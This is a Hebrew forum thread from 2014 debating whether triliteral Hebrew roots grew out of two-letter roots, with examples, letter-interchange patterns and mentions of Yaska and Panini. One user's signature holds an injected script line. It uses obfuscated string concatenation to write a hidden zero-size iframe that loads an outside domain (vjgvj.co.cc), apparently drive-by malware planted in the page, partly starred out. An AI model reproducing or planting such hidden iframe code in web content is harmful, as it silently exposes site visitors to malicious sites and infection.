| נשלח ב-10/3/2014 20:32 |
 |
| |
| מם80 כתב: |  | מואדיב,
לא כתבתי שהשרשים חמד, עמד, צמד, שמד, נגזרו מהשורש מד (אם כי נראה שהשרש עמד וכן המלה תמיד אמנם נגזרו מהשורש מד, אלא שפחות ברור מה זיקתם להוראה המקורית), אז למה לגלגת רק כדי לחרחר ריב?
אתה מפדש התמד מלשון תמד לפי המשמעות הערבית שמרי יין, ואני מפרש תמד מלשון התמד, שבפעולת ההשריה יש התמדה.
כל בוגדי בגד (ירמיה יב, א). ביאר יונתן בן עוזיאל: כל משקרי שקר. והמלבי"ם כתב: הפעל בגד יורה המרמה נגד ברית רעים, אוהבים, או נגד ברית איש ואשתו.
|
|
שערי דרשנותך לא נסגרו.
אמנם התעלמת מכך שהגראפה-התמד לא מופיע בתנ"ך, אך הברגת שמשום שמשרים אותו באופן תמידי.
האמנם?
תמיד זה תמיד. לעולם. ללא הפסקה אף פעם. האם שורים את הזגים והחרצנים לנצח-נצחים?
שים לב. התאוריה שהיצגת למעלה, קובעת כי השורשים המשולשים, מקורם בשורשים בני שתי אותיות. לפי תאוריה זו, היינו צריכים למצוא מכנה משותף בין כל השורשים המשולשים המסתיימים באותיות מ"ד - וכפי שנקל לראות, אין קשר כזה.
יש מספר מצומצם מאד של דוגמאות בהן ניתן למצוא הקשר כזה - אחת מהן הובאה למעלה, עם האותיות פ"ר. על פי רוב, אנו מוצאים שורשים במשמעויות שונות, בדיוק כשם שלעיתים אותו השורש עצמו, על כל שלוש אותיותיו, משמש במשמעויות שונות, פעמים רבות חסרות כל קשר בינן לבין עצמן.
|
|
|
|
| נשלח ב-10/3/2014 22:15 |
|
| |
מואדיב,
ככל שלשון
מתפתחת במהלך הדורות, כן נוספות הוראות חדשות למלים, ומלים גם מקבלות הוראות מושאלות.
ממילא ככל שהשפה מורחבת ומשוכללת יותר, כן רחוק יותר להבין מה הקשר בין ההוראות השונות, ומה היו ההוראות המקוריות הפשוטות בראשית דרכה של השפה.
אם שורש בן שלוש אותיות נוצר משורש בן שתי אותיות באופן פשוט, אזי יש שלוש אפשרויות: או ששתי אותיותיו הראשונות הן השורש המקורי, או ששתי אותיותיו האחרונות הן השורש המקורי, או שהאותיות הראשונה והשלישית הן השורש המקורי. לדוגמא, בשורש בנה שתי האותיות הראשונות הן השורש המקורי, בשורש אבן שתי האותיות האחרונות הן השורש המקורי, ובשורש בין האות הראשונה והשלישית הן השורש המקורי. יש גם אפשרות מורכבת, ששורש בן שלוש אותיות נוצר משורש בן שלוש אותיות ע"י החלפת מקומות של אותיות השורש או החלפת אחת מאותיות השורש באות דומה.
דוגמא למציאת השורש המקורי. השרש חדש נגזר מהשורש חד או מהשורש דש או מהשורש חש. כנראה שנגזר מהשורש חד כי הפועל לחדש מורה על להשיב דבר לאיתנותו, כגון חדש ימינו כקדם, תתחדש כנשר נעוריכי, וכו'.
באשר למלה מתמד בלשון חכמים, הגיונית פירושך נראה מפירושי.
תוקן על ידי מם80 ב- 10/03/2014 22:16:37
|
|
|
|
| נשלח ב-10/3/2014 22:17 |
|
| |
מ
כמדומה שכאן החלפת את דרך הלימוד שלך.
השיטה שהצגת, וכאמור כבר הוזכרה בפורום בעבר, מבוססת על שורש בן שתי אותיות שמוסיפים לו את האות השלישית המחלקת את משמעויות המשנה.
זה נעשה תמיד (סליחה ללא משחק מילים) על ידי כך ששתי האותיות הראשונות בשורש הן העיקריות והמפצלת היא השלישית.
הדוגמא שלך היא של שתי האותיות האחרונות.
האם זה בכלל תואם את התיאוריה, או אולי לא הבנתי נכון את הגדרות היסוד?
ממילא אין צורך להזדקק לקושיות שמואדיב מגלה - ולדעתי, ברור שיהיו רבות כאלו, גם אם נפסול חלק מדוגמאות הנגד בכך שהן מאוחרות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-10/3/2014 22:26 |
|
| |
מיימוני,
כנראה לא הבנת נכון את הגדרות היסוד.
האות השלישית יכולה להצטרף או בהתחלה או באמצע או בסוף (הדוגמאות של השרשים בנה - בניתי ובין - הבינותם ניתנו בהסבר שנתתי לך בתחלת האשכול, אלא שהדוגמאות שהבאתי במפורש אמנם היו רק מהסוג הראשון, מה שאולי לא היה ברור דיו להבהיר את חוקי הגזירה).
|
|
|
|
| נשלח ב-10/3/2014 23:30 |
|
| |
מ
באמת לא הבנתי.
ואפילו חוששני שמשהו לקוי כאן.
הגע בעצמך.
מה הוא שורש היסוד ומהי התוספת המפצלת?
האם
שמר
שמנ
שמע
הם מן השורש היסודי ש"מ והתוספת היא האות השלישית?
או שהשורש היסודי הוא, למשל
מר
והחילוקים הם בין
זמר
שמר
או שהשורש היסודי הוא
ש-ר
כאשר אות הפיצול היא באמצע
שמר
שפר
שדר
או שלדעתך הכל יתכן בו זמנית?
איזו תיאוריה יכולה להסביר זאת?
או שאולי כל אות תורמת משהו בנוכחותה? אבל אז למה לנו לחפש שתי אותיות יסוד? מוטב לנו לומר שכל אות מתאפיינת בדברים ייחודיים, וההרכב של כל האותיות יוצר משמעות?
זה יכול להזכיר את צירופי היסודות בטבלת מנדלייב.
לאיזו מן האפשרויות נתכוונת?
______תוקנה אות ונוספה דוגמא___________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 10/03/2014 23:30:51
|
|
|
|
| נשלח ב-11/3/2014 00:30 |
|
| |
מיימוני,
אמנם כל אות ייחודית לכשעצמה, אולם לא כל הרכב של אותיות יוצר משמעות. דרך ההתפתחות הלשון מפשטות למורכבות היתה הרחבה של שרשים בני אות אחת ושתי אותיות לשרשים בני שלש אותיות, כמנהג האומן את היונק שבתחלה מלמדו לבטא מלים קצרות ואח"כ מלים מורכבות יותר. משהורחב אוצר המלים של השפה ושרשים בני שתי אותיות לא היו דים כדי לבטא את העושר והפירוט הלשוני הנדרש לצורכי הדיבור והמחשבה, פירטו שרשים בני שתי אותיות ע"י הרחבתם לשרשים בני שלוש אותיות.
לדוגמא, השורש שר הורחב ע"י הוספת אות שורש בתחלתו לשורשים אשר, ישר; ע"י הוספת אות שורש באמצעו לשורשים שור, שיר; וע"י הוספת אות שורש בסופו לשורש שרש.
כאשר רוצים למצוא מה היה השורש המקורי, בד"כ
כשאחת מאותיות השורש הינה אות מאותיות אהו"י, או כשהשורש מגזרת הכפולים, אזי קל לזהות מה היה השורש המקורי. אחרת, נדרש עיון כדי לזהות מה היה שורש המקורי. לדוגמא, השורש למד. השורש למ איננו מוכר. אזי נותרו האפשרויות מד או לד. לד מורה על לידה. מד על מידה. הכשרה ל-מידה, ל-מידה, למידה. ל-מד.
תוקן על ידי מם80 ב- 11/03/2014 01:07:50
|
|
|
|
| נשלח ב-11/3/2014 09:10 |
|
| |
| מם80 כתב: | | מיימוני,
אמנם כל אות ייחודית לכשעצמה, אולם לא כל הרכב של אותיות יוצר משמעות. דרך ההתפתחות הלשון מפשטות למורכבות היתה הרחבה של שרשים בני אות אחת ושתי אותיות לשרשים בני שלש אותיות, כמנהג האומן את היונק שבתחלה מלמדו לבטא מלים קצרות ואח"כ מלים מורכבות יותר. משהורחב אוצר המלים של השפה ושרשים בני שתי אותיות לא היו דים כדי לבטא את העושר והפירוט הלשוני הנדרש לצורכי הדיבור והמחשבה, פירטו שרשים בני שתי אותיות ע"י הרחבתם לשרשים בני שלוש אותיות.
לדוגמא, השורש שר הורחב ע"י הוספת אות שורש בתחלתו לשורשים אשר, ישר; ע"י הוספת אות שורש באמצעו לשורשים שור, שיר; וע"י הוספת אות שורש בסופו לשורש שרש.
כאשר רוצים למצוא מה היה השורש המקורי, בד"כ
כשאחת מאותיות השורש הינה אות מאותיות אהו"י, או כשהשורש מגזרת הכפולים, אזי קל לזהות מה היה השורש המקורי. אחרת, נדרש עיון כדי לזהות מה היה שורש המקורי. לדוגמא, השורש למד. השורש למ איננו מוכר. אזי נותרו האפשרויות מד או לד. לד מורה על לידה. מד על מידה. הכשרה ל-מידה, ל-מידה, למידה. ל-מד.
תוקן על ידי מם80 ב- 11/03/2014 01:07:50
|
|
אתה טוען כאן כמה וכמה טענות מרחיקות לכת - כאילו הן עובדות.
טענותיך זקוקות, אם לא להוכחה - לפחות לאישוש.
הבה נציג את שלוש הטענות הראשונות אותן אתה צריך להוכיח:
1. "כל אות ייחודית לכשעצמה".
האומנם? האם האותיות ש' שמאלית ו-ס', יחודית כל אחת לעצמה?
2. "דרך ההתפתחות הלשון מפשטות למורכבות "
האם כך הוא? היש לך יכולת להוכיח זאת, פרט לכך שזו נראית לך סברה הגיונית?
3. "הרחבה של שרשים בני אות אחת ושתי אותיות לשרשים בני שלש אותיות"
שוב - אתה צריך לאשש את הטענה הזו שלך.
וכן הלאה, וכן הלאה.
דילגתי על הטענה כי לא כל צירוף של אותיות יש לו משמעות, משום שאינני חולק עליך בכך - כל אחד יכול לראות שזו טענה נכונה, ומספיקה דוגמא אחת כדי להוכיחה - ויש רבות.
|
|
|
|
| נשלח ב-11/3/2014 10:37 |
|
| |
מואדיב,
קבלה מראשונים ואחרונים שחז"ל והפייטנים הקדומים ורבי יהודה בן קוריש ומנחם בן סרוק ורש"י וחכמי צרפת וחלק ממדקדקי אשכנז האחרונים הבינו את לשון הקדש בעזרת שיטת השניים.
שאלות:
א. האם שיטת השניים הינה קבלה למשה מסיני?
אינני יודע.
ב. האם שורשים בני שלוש אותיות התפתחו משורשים בני אות אחת ושתי אותיות, או שמא הן שיטת השניים והן שיטת המשולשים הינן ציורי לשון אשר כל אחד מהם עומד בפני עצמו?
אם שורשים בני שלוש אותיות התפתחו משורשים בני אות אחת ושתי אותיות, יש לכך חשיבות מבחינת הוראת הלשון. אם כל אחת מהשיטות ציור העומד בפני עצמו, שמא יש ציור מוצלח יותר מהם שטרם מצאנו.
|
|
|
|
| נשלח ב-11/3/2014 11:43 |
|
| |
האם כל אות ייחודית לכשעצמה?
מאחר שהאותיות יסודיות לכינון הלשון, האותיות אמורות להיות ייחודיות, דהיינו כל אות ייחודית לכשעצמה כאבן בנין של השפה.
על פי מבטאן האותיות מתחלקות לחמש מחלקות:
א. גרוניות - אהחע.
ב. חכיות - גיכק.
ג. לשוניות - דטלנת.
ד. שפתיות - בומפ
ה. שניות - זסצרש
אותיות מאותה קבוצה הדומות זו לזו בהגייתן לעתים מתחלפות זו בזו באופן השומר על הוראה קרובה (אולם לא זהה).
לדוגמא, אכל - עכל, גמע - גמא, הודאה - הודיה, מבוא - מבוי, טפל - תפל, זעק - צעק, עלז - עלץ, ענוה - ענבה, וכו'. כמו כן יש זוגות של אותיות שיש דמיון קל בהברתן אשר שלפעמים מתחלפות ביניהן, כגון מ-נ, הנה - המה, ועוד.
האם החילופים הללו הינם מדרכי הלשון או שמא תולדות של טעויות בהגיה? נחלקו על כך המדקדקים. מכל מקום, חז"ל דרשו פעמים רבות הוראות מלים ע"י חילופי אותיות.
מה באשר לאותיות ש' שמאלית ולאות ס'?
בלשון הקודש לפעמים שתי האותיות האלה מתחלפות ביניהן תוך שמירה על הוראת המלה, כגון תפש-תפס, כעש-כעס, פרש - פרס, שובך-סבך, וכו'. אולם שתי האותיות אינן זהות, כפי שמוכיחים השרשים שכל - סכל, שכר - סכר, ועוד. לפי המדקדק צבי הר זהב, המבטא הקדום של האות ש' היה הגיה בינונית בין 'ש ימנית לבין ס'.
לפיכך,
נראה שחילופי האותיות בין ש' לבין ס' הינם חילופים שבכתב שנעשו בהשפעת הלשון הארמית או כתוצאה מטשטוש הבדלי המבטא בין שתי האותיות .
תוקן על ידי מם80 ב- 11/03/2014 11:44:43
|
|
|
|
| נשלח ב-11/3/2014 11:52 |
|
| |
מ
בשביל התרגיל - אולי כדאי גם לחקור את סנסקריט?
|
|
|
|
| נשלח ב-11/3/2014 12:46 |
|
| |
בעלבעמיו,
יש שתי דרכים ללמוד לשון. האחת, ללמוד ממקורותיה. השניה, להשוות בינה לבין לשונות אחרות כדי לחדד מה ייחודה. מאחר שלשון הקדש קדומה, יש הגיון בללמוד דרכי לשונות עתיקות אחרות.
|
|
|
|
| נשלח ב-11/3/2014 13:12 |
|
| |
.
מם80,
אתה מודע לכך שבחלק מהלשונות העתיקות, אין שורשים?
אתה יודע, לא כל השפות הן שפות שמיות, הבנויות על בסיס שורשים, בניינים וגזרות.
|
|
|
|
| נשלח ב-11/3/2014 14:14 |
|
| |
מואדיב,
נכון, אלא שהלשונות אינן מתחלקות למחלקות רק עפ"י מוצאן, אלא גם עפ"י תקופתן שבכל תקופה יש משהו המייחד את כלל הלשונות בעולם, ולפי תכליתן.
כשמדברים על מושגים דקדוקיים, נדרש להבין שזו המצאה שהמציאו מדקדקים כדי להבין את הלשון. ככל הנראה, הראשון שחיבר ספר דקדוקי בו
דן בשרשים וחוקי הגזירה של מלים מהם, היה
.המדקדק ההודי יאסקה (שחי לפני יותר מ-2500 שנה)
כעבור כמאתים שנה, המדקדק ההודי פאניני חיבר ספר שעסק בהוראות הלשון, בחוקי גזירה של מלים, ובתהליכי ההגיה המשפיעים על התפתחות הלשון, וצירף לו לקסיקון שרשים.
האם לישראל היתה חכמת לשון שלא נכתבה בספרים ודקדוקי המדקדקים מתקופת רס"ג ואילך אינם אלא המעט שנותר ממנה, או שמא דקדוקי חכמי ספרד מקורם בחכמות ערביות ויווניות, או שמא
רוב שיטות המדקדקים בעולם מקורן ברעיונות של מדקדקים הודים?
תוקן על ידי מם80 ב- 11/03/2014 14:15:52
|
|
|
|
| נשלח ב-11/3/2014 16:55 |
|
| |
| מם80 כתב: | | מואדיב,
נכון, אלא שהלשונות אינן מתחלקות למחלקות רק עפ"י מוצאן, אלא גם עפ"י תקופתן שבכל תקופה יש משהו המייחד את כלל הלשונות בעולם, ולפי תכליתן.
..
|
|
למה אתה מתכוון?
האם יש משהו שמייחד את כלל הלשונות בעולם, לפי תכליתן, כיום? האם היה משהו כזה בתקופת המשנה?
מה, לשיטתך, היה המייחד הזה, בתקופה בה דיברו כאן עברית, ארמית, יוונית ולטינית? מהו המייחד את ארבע הלשונות הללו?
|
|
|
|
| נשלח ב-11/3/2014 17:00 |
|
| |
יצרו הרכבות, כמו יוספוס.
|
|
|
|
|
